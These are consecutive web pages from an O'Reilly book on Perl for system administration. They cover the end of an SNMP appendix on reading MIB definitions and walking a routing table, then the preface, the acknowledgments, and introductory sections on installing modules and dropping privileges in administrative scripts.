sysUpTime OBJECT-TYPE

This defines the object called sysUpTime.

SYNTAX TimeTicks

This object is of the type TimeTicks. Object types are specified in the SMI we mentioned a moment ago.

ACCESS read-only

This object can only be read via SNMP (i.e., get-request); it cannot be changed (i.e., set-request).

STATUS mandatory

This object must be implemented in any SNMP agent.

DESCRIPTION...

This is a textual description of the object. Always read this field carefully. In this definition, there's a surprise in store for us. sysUpTime only shows the amount of time that has elapsed since "the network management portion of the system was last re-initialized." This means we're only going to be able to tell a system's uptime since its SNMP agent was last started. This is almost always the same as when the system itself last started, but if you spot an anomaly, this could be the reason.

::= { system 3 }

Here's where this object fits in the MIB tree. The sysUpTime object is the third branch off of the system object group tree. This information also gives you part of the Object Identifier should you need it later.

If we wanted to query this variable on the machine solarisbox in the read-only community, we could use the following UCD-SNMP tool command line:

$ snmpget solarisbox MyPublicCommunityName system.sysUpTime.0

This returns:

system.sysUpTime.0 = Timeticks: (5126167) 14:14:21.67

The agent was last initialized fourteen hours ago.

TIP

The examples in this appendix assume our SNMP agents have been configured to allow requests from the querying host. In general, if you can restrict SNMP access to a certain subset of "trusted" hosts, you should.

"Need to know" is an excellent security principle to follow. It is good practice to restrict the network services provided by each machine and device. If you do not need to provide a network service, turn it off. If you do need to provide it, restrict the access to only the devices that "need to know."

Time for our second and more advanced SNMP example: dumping the contents of a device's IP routing table. The complexity in this example comes from the need to treat a collection of scalar data as a single logical table. We'll have to invoke the get-next-request PDU to pull this off. Our first step towards this goal is to look for a MIB definition of the IP routing table. Searching for "route" in RFC1213, we eventually find this definition:

-- The IP routing table contains an entry for each route
-- presently known to this entity.
ipRouteTable OBJECT-TYPE
    SYNTAX  SEQUENCE OF IpRouteEntry
    ACCESS  not-accessible
    STATUS  mandatory
    DESCRIPTION
              "This entity's IP Routing table."
    ::= { ip 21 }

This doesn't look much different from the definition we took apart just a moment ago. The differences are in the ACCESS and SYNTAX lines. The ACCESS line is a tip-off that this object is just a structural placeholder representing the whole table, and not a real variable that can be queried. The SYNTAX line tells us this is a table consisting of a set of IpRouteEntry objects. Let's look at the beginning of the IpRouteEntry definition:

ipRouteEntry OBJECT-TYPE
    SYNTAX  IpRouteEntry
    ACCESS  not-accessible
    STATUS  mandatory
    DESCRIPTION
            "A route to a particular destination."
    INDEX   { ipRouteDest }
    ::= { ipRouteTable 1 }

The ACCESS line says we've found another placeholder--the placeholder for each of the rows in our table. But this placeholder also has something to tell us. It indicates that we'll be able to access each row by using an index object, the ipRouteDest object of each row.

If these multiple definition levels throw you, it may help to relate this to Perl. Pretend we're dealing with a Perl hash of lists structure. The hash key for the row would be the ipRouteDest variable. The value for this hash would then be a reference to a list containing the other elements in that row (i.e., the rest of the route entry).

The ipRouteEntry definition continues as follows:

ipRouteEntry ::=
    SEQUENCE {
        ipRouteDest
            IpAddress,
        ipRouteIfIndex
            INTEGER,
        ipRouteMetric1
            INTEGER,
        ipRouteMetric2
            INTEGER,
        ipRouteMetric3
            INTEGER,
        ipRouteMetric4
            INTEGER,
        ipRouteNextHop
            IpAddress,
        ipRouteType
            INTEGER,
        ipRouteProto
            INTEGER,
        ipRouteAge
            INTEGER,
        ipRouteMask
            IpAddress,
        ipRouteMetric5
            INTEGER,
        ipRouteInfo
            OBJECT IDENTIFIER
    }

Now you can see the elements that make up each row of the table. The MIB continues by describing those elements. Here are the first two definitions for these elements:

ipRouteDest OBJECT-TYPE
    SYNTAX  IpAddress
    ACCESS  read-write
    STATUS  mandatory
    DESCRIPTION
            "The destination IP address of this route. An
            entry with a value of 0.0.0.0 is considered a
            default route. Multiple routes to a single
            destination can appear in the table, but access to
            such multiple entries is dependent on the table-
            access mechanisms defined by the network
            management protocol in use."
     ::= { ipRouteEntry 1 }

 ipRouteIfIndex OBJECT-TYPE
     SYNTAX  INTEGER
     ACCESS  read-write
     STATUS  mandatory
     DESCRIPTION
             "The index value which uniquely identifies the
             local interface through which the next hop of this
             route should be reached. The interface identified
             by a particular value of this index is the same
             interface as identified by the same value of
             ifIndex."
     ::= { ipRouteEntry 2 }

Figure E-3 shows a picture of the ipRouteTable part of the MIB to help summarize all of this information.

Figure E-3. The ipRouteTable structure and its index

Once you understand this part of the MIB, the next step is querying the information. This is a process known as "table traversal." Most SNMP packages have a command-line utility called something like snmptable or snmp-tbl that will perform this process for you, but they might not offer the granularity of control you need. For instance, you may not want a dump of the whole routing table; you may just want a list of all of the ipRouteNextHops. On top of this, some of the Perl SNMP packages do not have tree-walking routines. For all of these reasons, it is worth knowing how to perform this process by hand.

To make this process easier to understand, I'll show you up front the information we're eventually going to be receiving from the device. This will let you see how each step of the process adds another row to the table data we'll collect. If I log into a sample machine (as opposed to using SNMP to query it remotely) and type netstat -nr to dump the IP routing table, the output might look like this:

default          192.168.1.1       UGS        0    215345  tu0
127.0.0.1        127.0.0.1         UH         8   5404381  lo0
192.168.1/24     192.168.1.189     U          15  9222638  tu0

This shows the default internal loopback and local network routes, respectively.

Now let's see how we go about obtaining a subset of this information via the UCD-SNMP command-line utilities. For this example, we're only going to concern ourselves with the first two columns of the output above (route destination and next hop address). We make an initial request for the first instance of those two variables in the table. Everything in bold type is one long command line and is only printed here on separate lines for legibility:

$ snmpgetnext computer public ip.ipRouteTable.ipRouteEntry.ipRouteDest
ip.ipRouteTable.ipRouteEntry.ipRouteNextHop
ip.ipRouteTable.ipRouteEntry.ipRouteDest.0.0.0.0 = IpAddress: 0.0.0.0
ip.ipRouteTable.ipRouteEntry.ipRouteNextHop.0.0.0.0 = IpAddress: 192.168.1.1

There are two parts of this response we need to pay attention to. The first is the actual data, the information returned after the equals sign. 0.0.0.0 means "default route," so the information returned corresponded to the first line of the routing table output above. The second important part of the response is the .0.0.0.0 tacked on to the variable names above. This is the index for the ipRouteEntry entry representing the table row.

Now that we have the first row, we can make another get-next-request call, this time using the index. A get-next-request always returns the next item in a MIB, so we feed it the index of the row we just received so we can get back the next row after it:

$ snmpgetnext gold public ip.ipRouteTable.ipRouteEntry.ipRouteDest.0.0.0.0
ip.ipRouteTable.ipRouteEntry.ipRouteNextHop.0.0.0.0
ip.ipRouteTable.ipRouteEntry.ipRouteDest.127.0.0.1 = IpAddress: 127.0.0.1
ip.ipRouteTable.ipRouteEntry.ipRouteNextHop.127.0.0.1 = IpAddress: 127.0.0.1

You can probably guess the next step. We issue another get-next-request using the 127.0.0.1 part (the index) of the ip.ipRouteTable.ipRouteEntry.ipRouteDest.127.0.0.1 response:

$ snmpgetnext gold public ip.ipRouteTable.ipRouteEntry.ipRouteDest.127.0.0.1
ip.ipRouteTable.ipRouteEntry.ipRouteNextHop.127.0.0.1
ip.ipRouteTable.ipRouteEntry.ipRouteDest.192.168.1 = IpAddress: 192.168.1.0
ip.ipRouteTable.ipRouteEntry.ipRouteNextHop.192.168.11.0 = IpAddress: 192.168.1.189

Looking at the sample netstat output above, you can see we've achieved our goal and dumped all of the rows of the IP routing table. How would we know this if we had dispensed with the dramatic irony and hadn't seen the netstat output ahead of time? Under normal circumstances we would have to proceed as usual and continue querying:

$ snmpgetnext gold public ip.ipRouteTable.ipRouteEntry.ipRouteDest.192.168.1.0
ip.ipRouteTable.ipRouteEntry.ipRouteNextHop.192.168.1.0
ip.ipRouteTable.ipRouteEntry.ipRouteIfIndex.0.0.0.0 = 1
ip.ipRouteTable.ipRouteEntry.ipRouteType.0.0.0.0 = indirect(4)

Whoops, the response did not match the request! We asked for ipRouteDest and ipRouteNextHop but got back ipRouteIfIndex and ipRouteType. We've fallen off the edge of the ipRouteTable table. The SNMP get-next-request PDU has done its sworn duty and returned the "first lexicographic successor" in the MIB for each of the objects in our request. Looking back at the definition of ipRouteEntry in the excerpt from RFC1213 above, we can see that ipRouteIfIndex(2) follows ipRouteDest(1), and ipRouteType(8) does indeed follow ipRouteNextHop(7).

The answer to the question we asked a moment ago, "How do you know when you are done querying for the contents of a table?" is "When you notice you've fallen off the edge of that table." Programmatically, this translates into checking that the same string or OID prefix you requested is returned in the answer to your query. For instance, you might make sure that all responses to a query about ipRouteDest contained either ip.ipRouteTable.ipRouteEntry.ipRouteDest or 1.3.6.1.2.1.4.21.1.1.

Now that you have the basics of SNMP under your belt, you may want to turn to Chapter 10, "Security and Network Monitoring" to see how we can use it from Perl. You should also check out the references at the end of Chapter 10, "Security and Network Monitoring" for more information on SNMP.

Previous | Home
D.6. SQL Stragglers | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Perl for System Administration)

 Perl for System AdministrationSearch this book

Preface

Perl is a powerful programming language that grew out of the traditional system administration toolbox. Over the years it has adapted and expanded to meet the challenges of new operating systems and new tasks. Until now, however, no book has recognized this deep history by concentrating solely on using Perl for system administration.

If you know a little Perl, and you need to perform system administration tasks, this is the right book for you. Readers with varying levels of both Perl programming experience and system administration experience will all find something of use within these pages.

0.1. How This Book Is Structured

Each chapter in this book addresses a different system administration domain and ends with a list of the Perl modules used in that chapter and references to facilitate deeper exploration of the information presented. The chapters are as follows:

Chapter 1, "Introduction"

The introduction describes the material covered by the book in more detail, how it will serve you, and what you need to get the most from it. The material in this book is powerful and meant to be used by powerful people (e.g., Unix superusers and NT/2000 administrators). The introduction provides some important guidelines to help you write more secure Perl programs.

Chapter 2, "Filesystems"

This chapter is about keeping multiplatform filesystems tidy and properly used. We start by looking at the salient differences between the native filesystems for each operating system. We then explore the process of walking or traversing filesystems from Perl and how that can be useful. Finally, we look at manipulating disk quotas from Perl.

Chapter 3, "User Accounts"

This chapter discusses how these user accounts manifest themselves on two different operating systems. The crux of this chapter is a rudimentary account system written in Perl. In the process of building this system, we examine the mechanisms necessary for recording accounts in a simple XML-based database, creating these accounts, and deleting them.

Chapter 4, "User Activity"

Chapter 4, "User Activity" explores different process control mechanisms for all three operating systems. These range from the simple (e.g., MacOS processes) to the more complex (e.g., WinNT/2000 Windows Management Instrumentation). We put these mechanisms to work with administration helper scripts. Finally, we look at how to track file and network operations from Perl.

Chapter 5, "TCP/IP Name Services"

Name services allow hosts on a TCP/IP network to communicate with each other amicably. This chapter takes a historical perspective by starting with host files, moving to Network Information Service, and finally to the glue of the Internet, Domain Name Service. Each step of the way we show how Perl can make professional management of these services easier.

Chapter 6, "Directory Services"

As the complexity of the information we deal with increases over time, so does the importance of the directory services we use to access this information. System administrators are increasingly being called upon to not only use these services, but to build tools for their management. This chapter discusses some of the more popular directory service frameworks such as LDAP and ADSI, and shows you how to work with them from Perl.

Chapter 7, "SQL Database Administration"

Over time, more uses for relational databases are being found in the system administration realm. As a result, system administrators need to become familiar with SQL database administration. This chapter explains two SQL database frameworks, DBI and ODBC, and provides examples of them in action.

Chapter 8, "Electronic Mail"

This chapter demonstrates how Perl can make better use of email as a system administration tool. After discussing the basics of sending and parsing email via Perl, we look at several interesting applications, including Unsolicited Commercial Email (a.k.a. spam) analysis and managing tech support email.

Chapter 9, "Log Files"

System administrators are often awash in a sea of log files. Every machine, operating system, and program can (and often does) log information. This chapter looks at the logging systems offered by Unix and NT/2000. We discuss approaches for analyzing all of this information so it can work for you.

Chapter 10, "Security and Network Monitoring"

The final chapter heads right into the maelstrom called "security." We demonstrate how Perl can make hosts and networks more secure. In addition, we discuss several network monitoring techniques, including use of the Simple Network Management Protocol (SNMP) and network sniffing.

Appendixes

Some of the chapters assume some basic knowledge about a topic that you may not already have. For those who are new to these topics, this book includes several mini-tutorials to bring you up to speed quickly. These include introductions to the Revision Control System (RCS), Lightweight Directory Access Protocol (LDAP), Structured Query Language (SQL), eXstensible Markup Language (XML), and the Simple Network Management Protocol (SNMP).

Home | Next
Book Index | 0.2. Typographical Conventions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Typographical Conventions (Perl for System Administration)

 Perl for System AdministrationSearch this book

0.2. Typographical Conventions

Italic

Used for filenames, usernames, directories, commands, hostnames, URLs, and terms when they are first introduced.

Constant width

Used for Perl module and function names, and when showing code and computer output.

Constant width bold

Used to indicate user input in examples.

Constant width bold italic

Used for parts of a command line that are user replaceable, or code annotations.

Previous | Home | Next
0.1. How This Book Is Structured | Book Index | 0.3. How to Contact Us
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How to Contact Us (Perl for System Administration)

 Perl for System AdministrationSearch this book

0.3. How to Contact Us

We have tested and verified the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know of any errors you find, as well as your suggestions for future editions, by writing to:

O'Reilly & Associates, Inc.

101 Morris Street

Sebastopol, CA 95472

(800) 998-9938 (in the U.S. or Canada)

(707) 829-0515 (international/local)

(707) 829-0104 (FAX)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

We have a web site for the book, where we'll list examples, errata, and any plans for future editions. You can access this page at:

http://www.oreilly.com/catalog/perlsysadmin/

For more information about this book and others, see the O'Reilly web site:

http://www.oreilly.com

Previous | Home | Next
0.2. Typographical Conventions | Book Index | 0.4. Acknowledgments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Perl for System Administration)

 Perl for System AdministrationSearch this book

0.4. Acknowledgments

Writing a book turned out to be a lot like building one of those classical arches. It started with two pillars in my life that leaned towards each other, one technical, and the other personal.

On the technical side, I have the greatest appreciation for Larry Wall, who not only created Perl but imbued it and the Perl community with the spirit. I am thankful to the great Perl teachers, Tom Christiansen and Randal L. Schwartz, who have helped me and countless others learn all the twisty little passages of the language. Further up on this pillar are the kerjillions of programmers and hackers who poured countless hours and energy into the language and then chose to share their work with me and the rest of the Perl community. Wherever possible in this book I have tried to give these folks credit, but my thanks go to all of the named and unnamed folks who enrich the Perl culture with their efforts.

Moving further up the tech column past the Perl section, we come to the system administration section. Here we find another vibrant community that has helped to shape me, this book, and the whole computing field. The members of Usenix, SAGE, and the people who have contributed to the LISA conferences over the years deserve our thanks for cultivating and sharing the best the system administration field has to offer. In particular I'd like to acknowledge and thank R&#233;my Evard for being such a great influence on my professional and personal understanding of this field as a friend, mentor, and role model. He is one of the system administrators I want to be when I grow up.

Towards the top of the professional column are those directly responsible for the creation of this book. I'd first like to thank my reviewers and other commentators who sacrificed many hours on the alter of this text (in alphabetical order): Jerry Carter, Toby Everett, &#198;leen Frisch, Joe Johnston, Tom Limoncelli, John A. Montgomery, Jr., Chris Nandor, Michael Peppler, Michael Stok, and Nathan Torkington. Even towards the end of this process, they continued to teach me the finer points of Perl. I am grateful to Rhon Porter for his illustrations, to Hanna Dyer and Lorrie LeJeune for the most amazing cover animal, and to the O'Reilly production staff listed in the colophon. And finally, I am barely worthy to thank Linda Mui, my editor, whose incredible skill, finesse, and care allowed me to birth this book and raise it in a good home. She's the greatest.

Just as an arch is not built from a single column, so too did this book arise from another, more personal base. I need to thank all of the people in my spiritual community, Havurat Shalom in Somerville, Massachusetts, for their constant support during this whole process. They have taught me the meaning of community. Thank you, M' kor HaChayim, for this book and all of the many blessings in my life.

On a separate spiritual front, I am indebted to the Shona people of Zimbabwe for their incredible mbira music, the playing of which kept me sane during the writing process. I am thankful in particular to the many people who shared this music with me, some as teachers, some as students learning/playing beside me. Erica Azim, Stuart Carduner, Tute Chigamba, Wiri Chigonga, Musekiwa Chingodza, Forward Kwenda, Cosmas Magaya, Naomi Moland, Solomon Murungu, Paul Novitsky, and Nina Rubin have all had a special role in this process.

I am grateful to my friends Avner, Ellen, and Phil Shapiro, and Alex Skovronek for their encouragement. A special thank you goes to Jon Orwant and Joel Segel, two friends whose sage council and support gave me the opportunity and courage to wordwrestle. My thanks to the faculty and staff at the Northeastern University College of Computer Science. I'm extremely grateful to the folks in the CCS Systems group, who gave me the space, time, and patience I needed while dealing with this book. Larry Finkelstein, the Dean of the College of Computer Science, also deserves special recognition. I have never met a person outside of the system administration field who better understands system administrators, their needs, and the field in general. Dean Finkelstein continues to teach me, especially by example, what it means to be a true leader.

Let's return to the arch metaphor, because we're almost at the top. Here we find my extended and immediate family. I'm thankful to them all. My nuclear family, Myra, Jason, and Steven Blank, are the folks whose nature and nurture (and love) over the years allow me to be here today. My thanks to Shimmer and Bendir, my two late night/early morning companions during many a writing jag. Thanks also to my TCM pit crew, Kristen Porter and Thom Donovan.

If you're familiar with arches, you've probably noticed that I left out one key part: the capstone. The capstone is the stone at the top of the arch that keeps the whole thing together. Cindy Blank-Edelman was that capstone for me in the writing of this book. If there is anyone who sacrificed more for this book than I did, it is she. Without her love, support, care, humor, teaching, and inspiration, I could not be the same person, never mind write a book.

This book is dedicated to Cindy, love of my life.

Previous | Home | Next
0.3. How to Contact Us | Book Index | 1. Introduction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 1. Introduction

Contents:

System Administration Is a Craft
How Perl Can Help
This Book Will Show You How
What You Need
Locating and Installing Modules
It's Not Easy Being Omnipotent
References for More Information

1.1. System Administration Is a Craft

In my town, several of our local bus lines are powered by cables strung high above the street. One day, when going to an unfamiliar destination, I asked the driver to let me know when a particular street was approaching. He said, "I'm sorry, I can't. I just follow the wires."

These are words you will never hear good system administrators use to describe their job. System and network administration is about deciding what wires to put in place, where to put them, getting them deployed, keeping watch over them, and then eventually ripping them out and starting all over again. Good system administration is hardly ever rote, especially in multiplatform environments where the challenges come fast and furious. Like any other craft, there are better and worse ways to meet these challenges. This book is for the people who face those challenges, either as full-time system administrators or part-time tinkerers. I'll try to show you how Perl can help.

Previous | Home | Next
0.4. Acknowledgments | Book Index | 1.2. How Perl Can Help
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How Perl Can Help (Perl for System Administration)

 Perl for System AdministrationSearch this book

1.2. How Perl Can Help

System administration work should use any and every computer language available when appropriate. So why single out Perl for a book?

The answer to this question harkens back the to the very nature of system administration. R&#233;my Evard, a colleague and friend, once described the job of a system administrator like this: "On one side, you have a set of resources: computers, networks, software, etc. On the other side, you have a set of users with needs and projects--people who want to get work done. Our job is to bring these two sets together in the most optimal way possible, translating between the world of vague human needs and the technical world when necessary."

System administration is often a glue job; Perl is one of the best glue languages. Perl was being used for system administration work well before the World Wide Web came along with its voracious need for glue mechanisms.

Perl has several other things going for it from a system administration perspective:

  • It is clearly an offspring of the various Unix shells and the C language, tools many system administrators are comfortable using.

  • It is available on almost all modern operating systems. It does its best to present a consistent interface on each. This is important for multiplatform system administration.

  • It has excellent tools for text manipulation, database access, and network programming, three of the mainstays of the profession.

  • The core language can easily be extended through a carefully constructed module mechanism.

  • A large and dedicated community of users has poured countless hours into creating modules for virtually every task. Most of these modules are collected in an organized fashion (more on these collections in a moment). This community support can be very empowering.

  • It is just plain fun to program.

In the interest of full disclosure, it is important to note that Perl is not the answer to all of the world's problems. Sometimes it is not even the appropriate tool for system administration programming because:

  • Perl has a somewhat dicey object-oriented programming mechanism grafted on top of it. Python is much better in this regard.

  • Perl is not ubiquitous. You are more likely to find the Bourne shell than Perl on a system as it comes off the shelf.

  • Perl is not always simple or internally self-consistent and is chock full of arcania. Tcl has far fewer surprises.

  • Perl has enough power and esoterica to shoot you in the foot.

The moral here is choose the appropriate tool. More often than not, Perl has been that tool for me, and hence this book.

Previous | Home | Next
1.1. System Administration Is a Craft | Book Index | 1.3. This Book Will Show You How
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


This Book Will Show You How (Perl for System Administration)

 Perl for System AdministrationSearch this book

1.3. This Book Will Show You How

In the 1966-68 "Batman" television show, the dynamic duo wore utility belts. If Batman and Robin had to scale a building, Batman would say, "Quick Robin, the Bat Grappling Hook! " Or Batman would say, "Quick Robin, the Bat Knockout Gas!" and they'd both have the right tool at hand to subdue the bad guys. This book aims to give you the utility belt you need to do good system administration work.

Every chapter attempts to provide you with three things.

Clear and concise information about a system administration domain.

In each chapter we discuss in depth one domain of the system administration world. The number of possible domains in multiplatform system administration is huge, far too many to be included in a single book. The best survey books on just Unix system administration, Essential System Administration, by &#198;leen Frisch (O'Reilly & Associates), and Unix System Administration Handbook, by Evi Nemeth, Garth Snyder, and Trent R. Hein (Prentice-Hall), are two and three times, respectively, the size of this book. We'll be looking at topics from three different operating systems: Unix, Windows NT, Windows 2000, and MacOS.

As a result, some hard choices were made on what to include and what to exclude. In general the topics that I believe will become even more important over the next five years made the cut. Important technologies like XML are explored because they are likely to have a significant impact on the field as time goes by. Unfortunately, these guidelines meant that some system administration stalwarts like backup and printing are edged out by newer topics like LDAP and SNMP. The skills and tools provided by this book can help with the domains I omit, but a direct treatment will have to be found elsewhere.

I've tried to put together a good stew of system and network administration information for people with varying levels of experience in the field. Seasoned veterans and new recruits may come away from this book having learned completely different material, but everyone should find something of interest to chew on. Each chapter ends with a list of references which can help you get deeper into a topic should you so choose.

For each domain or topic, especially the ones that have a considerable learning curve, I include appendixes with all of the information you need to come up to speed quickly. Even if you're familiar with a topic, you may find these appendixes can round out your knowledge about that matter (e.g., how something is implemented on a different operating system).

Perl techniques and approaches that can be used in system administration.

To get the most out of this book, you'll need some initial Perl background. Every chapter is full of Perl code that ranges in complexity from beginner to advanced levels of Perl knowledge. Whenever we encounter an intermediate-to-advanced technique, data structure, or idiom, I'll take the time to carefully step us through it, piece by piece. In the process, you should be able to pick up some interesting Perl techniques to add to your programming repertoire. The hope is that Perl programmers of all levels will be able to find something to learn from the examples presented in this book. And as your Perl skills improve over time, you should be able to come back to this book, learning new things each time.

To further enhance this learning experience, I will often present more than one way to accomplish the same task using Perl rather than showing a single limited answer. Remember the Perl motto, "There's More Than One Way To Do It." These multiple-approach examples are designed to better equip your Perl utility belt: the more tools you have at hand, the better the choices you can make when approaching a new task.

Sometimes it will be obvious that one technique is superior to the others. But this book only addresses a certain subset of situations you may find yourself in, and a solution that is woefully crude for one problem may be just the ticket for another. So bear with me. For each example I'll try to show you both the advantages and drawbacks of each approach (and often tell you which method I prefer).

System administration best practices and deep principles.

As I mentioned at the start of this chapter, there are better and worse ways to do system administration. I've been a system and network administrator for the last 15 years in some pretty demanding multiplatform environments. In each chapter I try to bring this experience to bear as I offer you some of the best practices I've learned and the deeper principles behind them. Occasionally I'll use a personal "war story from the front lines" as the starting point for these discussions. Hopefully the depth of the craft in system administration will become apparent as you read along.

Previous | Home | Next
1.2. How Perl Can Help | Book Index | 1.4. What You Need
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What You Need (Perl for System Administration)

 Perl for System AdministrationSearch this book

1.4. What You Need

To get the most of this book, you will need some technical background and some resources at hand. Let's start with the background first:

You'll need to know some Perl

There isn't enough room in this book to provide the basics of the Perl language, so you need to seek that elsewhere before working through this material. Once you have learned the material in a book like Learning Perl, by Randal L. Schwartz and Tom Christiansen (O'Reilly), or Learning Perl on Win32 Systems, by Randal L. Schwartz, Erik Olson, and Tom Christiansen (O'Reilly), you should be in good shape to approach the code in this book.

You'll need to know the basics of your operating system(s)

This book assumes that you have some facility with the operating system or systems you plan to administer. You'll need to know how to get around in that OS, run commands, find documentation, etc. Background information on the more complex frameworks built into the OS (e.g., WMI on Windows 2000 or SNMP) is provided.

You may need to know the specifics of your operating system(s)

I make an attempt to describe the differences between the major operating systems as we encounter them, but I can't cover all of the intra-OS differences. In particular, every variant of Unix is a little different from all of the others. As a result, you may need to find OS-specific information and roll with the punches should the information be different than what is described here.

For technical resources, you will need just two things:

Perl

You will need a copy of Perl installed on or available to every system you wish to administer. The downloads section of http://www.perl.com will help you find either the source code or binary distributions for your particular operating system. The examples in this book use Perl Version 5.005 (the latest stable version as of this writing). On Unix we use the core Perl distribution compiled from source, on Win32 platforms we use the version provided by ActiveState (build 522) and on MacOS we use the MacPerl distribution (5.2.0r4).

The ability to find and install Perl modules

The next section of this chapter is devoted to the location and installation of Perl modules because this skill is extremely important. This book assumes you have the knowledge and necessary permission to install any modules you need.

At the end of each chapter is a list of the version numbers for all of the modules used by the code in that chapter. The version information is provided because modules are updated all the time. Not all updates retain backwards compatibility, so if you run into problems, this information can help you determine if there has been a module change since this book was published.

Previous | Home | Next
1.3. This Book Will Show You How | Book Index | 1.5. Locating and Installing Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Locating and Installing Modules (Perl for System Administration)

 Perl for System AdministrationSearch this book

1.5. Locating and Installing Modules

Much of the benefit of using Perl for system administration work comes from all of the free code available in module form. The modules mentioned in this book can be found in one of three places:

Comprehensive Perl Archive Network (CPAN)

CPAN is a huge archive of Perl source code, documentation, scripts, and modules that is replicated at over a hundred sites around the world. Information on CPAN can be found at http://www.cpan.org. The easiest way to find the modules on CPAN is to use the search engine developed and maintained by Elaine Ashton, Graham Barr, and Clifton Posey at http://search.cpan.org. The "CPAN Search:" box makes it simple to find the right modules for the job.

Individual repositories for pre-built packages

In a moment we'll encounter the Perl Package Manager (PPM ), an especially important tool for Win32 Perl users. This tool connects to repositories (the most famous one is housed at ActiveState) to retrieve pre-built module packages. A good list of these repositories can be found in the PPM Frequently Asked Questions list at http://www.activestate.com/Products/ActivePerl//docs/faq/ActivePerl-faq2.html. If a Win32 package we use does come from a repository other than ActiveState's, I'll be sure to point you at it. For MacOS modules, the canonical place to look is the MacPerl Module Porters site at http://pudge.net/mmp/.

Individual web sites

Some modules are not published to CPAN or any of the PPM repositories. I'll always tell you where to get modules if they are found off the beaten path.

How do you install one of these modules when you find it? The answer depends on the operating system you are running. Perl now ships with documentation on this process in a file called perlmodinstall.pod (type perldoc perlmodinstall to read it). The next sections provide brief summaries of the steps required for each operating system used in this book.

1.5.1. Installing Modules on Unix

In most cases, the process goes like this:

  1. Download the module and unpack it.

  2. Run perl Makefile.PL to create the necessary Makefile.

  3. Run make to build the package.

  4. Run make test to run any test suites included with the module by the author.

  5. Run make install to install it in the usual place for modules on your system.

If you want to save yourself the trouble of performing these steps all by hand, you can use the CPAN module by Andreas J. K&#246;nig (shipped with Perl). This module allows you to perform all of those steps by typing:

% perl -MCPAN -e shell
cpan> install modulename

The CPAN module is smart enough to handle module dependencies (i.e., if one module requires another module to run, it will install both modules for you automatically). CPAN also has a built-in search function for finding related modules and packages. I recommend typing perldoc CPAN on your system to see all of the handy features of this module.

1.5.2. Installing Modules on Win32

The process for installing modules on Win32 platforms mirrors that for Unix with one additional step, ppm. If you plan to install modules by hand using the Unix instructions above, you can use programs like WinZip (http://www.winzip.com) to unpack a distribution and nmake (found at ftp://ftp.microsoft.com/Softlib/MSLFILES/nmake15.exe) instead of make to build and install a module.

Some modules require compilation of C files as part of their build process. A large portion of the Perl users in the Win32 world do not have the necessary software installed on their computers for this compilation, so ActiveState created the Perl Package Manager to handle pre-built module distribution.

The PPM system is similar to that of the CPAN module. It uses a Perl program called ppm.pl to handle the download and installation of special archive files from PPM repositories. You can either start this program by typing ppm or by running perl ppm.pl from within the Perl bin directory:

C:\Perl\bin>perl ppm.pl
PPM interactive shell (1.1.1) - type 'help' for available commands.
PPM> install module-name

ppm, like CPAN, can also search the list of available and installed modules for you. Type help at the ppm command prompt for more information on how to use these commands.

1.5.3. Installing Modules on MacOS

Installing modules on MacOS is a strange hybrid of the methods we've seen so far. Chris Nandor has put together a distribution called cpan-mac (found either at CPAN or http://pudge.net/macperl) that includes ports of CPAN and a whole slew of other important modules to the Mac.

Once the cpan-mac distribution is installed, it is possible to download most Perl-only modules from CPAN and install them. Nandor makes this task easy by providing an MacPerl droplet called installme. Archive files (i.e., .tar.gz files) dropped on top of installme will be de-archived and installed in a CPAN-like fashion.

For more information on MacOS module installation, be sure to see an expanded version of the perlmodinstall.pod document mentioned earlier called macperl modinstall.pod. This can also be found at http://pudge.net/macperl.

Previous | Home | Next
1.4. What You Need | Book Index | 1.6. It's Not Easy Being Omnipotent
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


It's Not Easy Being Omnipotent (Perl for System Administration)

 Perl for System AdministrationSearch this book

1.6. It's Not Easy Being Omnipotent

Before we continue with the book, let's take a few minutes for some cautionary words. Programs written for system administration have a twist that makes them different from most other programs. On Unix and NT/2000 they are often run with elevated privileges, i.e., as root or Administrator. With this power comes responsibility. There is an extra onus on us as programmers to write secure code. We write code that can and will bypass the security restrictions placed on mere mortals. If we are not careful, less "ethical" users may use flaws in our code for nefarious purposes. Here are some of the issues you should consider when you use Perl under these circumstances.

1.6.1. Don't Do It

By all means, use Perl. But if you can, avoid having your code run in a privileged context. Most tasks do not require root or Administrator privileges. For example, your log analysis program probably does not need to run as root. Create another, less privileged user for this sort of automation. Have a small, dedicated, privileged program hand the data to that user if necessary, and then use that user to perform the analysis.

1.6.2. Drop Your Privileges as Soon as Possible

Sometimes you can't avoid running a script as root or Administrator. For instance, a mail delivery program you create may need to be able to write to a file as any user on the system. Programs like these should shed their omnipotence as soon as possible during their run.

Perl programs running under Unix and Linux can set the $< and $> variables:

# permanently drops privs
($<,$>) = (getpwnam('nobody'),getpwnam('nobody'));

This sets the real and effective user IDs to that of nobody, hopefully an underprivileged user. To be even more thorough, you may wish to use $( and $)to change the real and effective group IDs as well.

Windows NT and Windows 2000 do not have user IDs per se, but there are similar processes for dropping privileges. Windows 2000 has a feature called "RunAs" which can be used to run processes as a different user. Under both Windows NT and Windows 2000, users with the user right of Act as part of the operating system can impersonate other users. This user right can be set using the User Manager or User Manager for Domains program:

  1. Under the "Policies" menu, choose "User Rights."

  2. Select the "Show Advanced User Rights" check box.

  3. Choose "Act as part of the operating system" from the drop-down selector.

  4. Select "Add..." and choose the users or groups who should receive this right. You may need to choose "Show Users" if you will be adding this right to a specific user.

  5. If this is an interactive user, that user must log out and back in again to make use of this new user right.

